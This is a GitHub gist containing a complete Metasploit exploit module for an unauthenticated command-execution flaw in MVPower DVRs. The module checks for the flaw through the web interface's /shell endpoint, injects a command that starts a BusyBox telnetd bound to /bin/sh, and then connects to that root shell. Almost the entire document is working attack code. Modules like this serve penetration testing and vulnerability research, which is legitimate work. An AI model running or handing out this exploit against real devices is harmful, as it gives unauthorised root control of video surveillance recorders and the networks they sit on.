Created
February 25, 2017 11:52
-
-
Save bcoles/f4f528fa67c887d157be95d60d7fc9d2 to your computer and use it in GitHub Desktop.
This module exploits an unauthenticated remote command execution vulnerability in MVPower digital video recorders. The 'shell' file on the web interface executes arbitrary operating system commands in the query string. This module launches the BusyBox Telnet daemon on the port specified in the TelnetPort option to gain an interactive remote shel…
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] } | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'MVPower DVR Shell Unauthenticated Command Execution (Telnet)', | |
'Description' => %q{ | |
This module exploits an unauthenticated remote command execution | |
vulnerability in MVPower digital video recorders. The 'shell' file | |
on the web interface executes arbitrary operating system commands in | |
the query string. | |
This module launches the BusyBox Telnet daemon on the port specified | |
in the TelnetPort option to gain an interactive remote shell. | |
This module was tested successfully on a MVPower model TV-7104HE with | |
firmware version 1.8.4 115215B9 (Build 2014/11/17). | |
The TV-7108HE model is also reportedly affected, but untested. | |
}, | |
'Author' => | |
[ | |
'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC | |
'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC | |
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit | |
], | |
'License' => MSF_LICENSE, | |
'Platform' => 'unix', | |
'References' => | |
[ | |
# Comment from Paul Davies contains probably the first published PoC | |
[ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], | |
# Writeup with PoC by Andrew Tierney from Pen Test Partners | |
[ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ] | |
], | |
'DisclosureDate' => 'Aug 23 2015', | |
'Privileged' => true, | |
'Arch' => ARCH_CMD, | |
'Payload' => | |
{ | |
'Compat' => { | |
'PayloadType' => 'cmd_interact', | |
'ConnectionType' => 'find' | |
} | |
}, | |
'Targets' => | |
[ | |
['Automatic', {}] | |
], | |
'DefaultTarget' => 0)) | |
register_options( | |
[ | |
OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 443]), | |
OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]), | |
OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25]) | |
], self.class) | |
end | |
def telnet_timeout | |
(datastore['TelnetTimeout'] || 10) | |
end | |
def check | |
begin | |
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) | |
res = send_request_cgi 'uri' => "/shell?echo+#{fingerprint}", | |
'headers' => { 'Connection' => 'Keep-Alive' } | |
if res && res.body.include?(fingerprint) | |
return CheckCode::Vulnerable | |
end | |
rescue ::Rex::ConnectionError | |
return CheckCode::Unknown | |
end | |
CheckCode::Safe | |
end | |
def exploit | |
print_status("#{peer} - Connecting to target") | |
unless check == CheckCode::Vulnerable | |
fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable") | |
end | |
print_good("#{peer} - Target is vulnerable!") | |
telnet_port = datastore['TelnetPort'] | |
print_status("#{peer} - Starting telnetd on #{rhost}:#{telnet_port}") | |
cmd = "telnetd -l /bin/sh -p #{telnet_port}" | |
res = send_request_cgi 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-normal')}", | |
'headers' => { 'Connection' => 'Keep-Alive' } | |
unless res | |
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") | |
end | |
vprint_status("#{peer} - Connecting to #{rhost}:#{telnet_port}") | |
sock = Rex::Socket.create_tcp 'PeerHost' => rhost, | |
'PeerPort' => telnet_port, | |
'Context' => { 'Msf' => framework, 'MsfExploit' => self }, | |
'Timeout' => telnet_timeout | |
if sock.nil? | |
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Telnet service unreachable") | |
end | |
vprint_status("#{peer} - Trying to establish a telnet session...") | |
prompt = negotiate_telnet(sock) | |
if prompt.nil? | |
sock.close | |
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session") | |
end | |
print_good("#{peer} - Telnet session successfully established...") | |
handler(sock) | |
end | |
def negotiate_telnet(sock) | |
prompt = '# ' | |
begin | |
Timeout.timeout(datastore['TelnetBannerTimeout']) do | |
while(true) | |
data = sock.get_once(-1, telnet_timeout) | |
if !data or data.length == 0 | |
return nil | |
elsif data.include?(prompt) | |
return true | |
end | |
end | |
end | |
rescue ::Timeout::Error | |
return nil | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment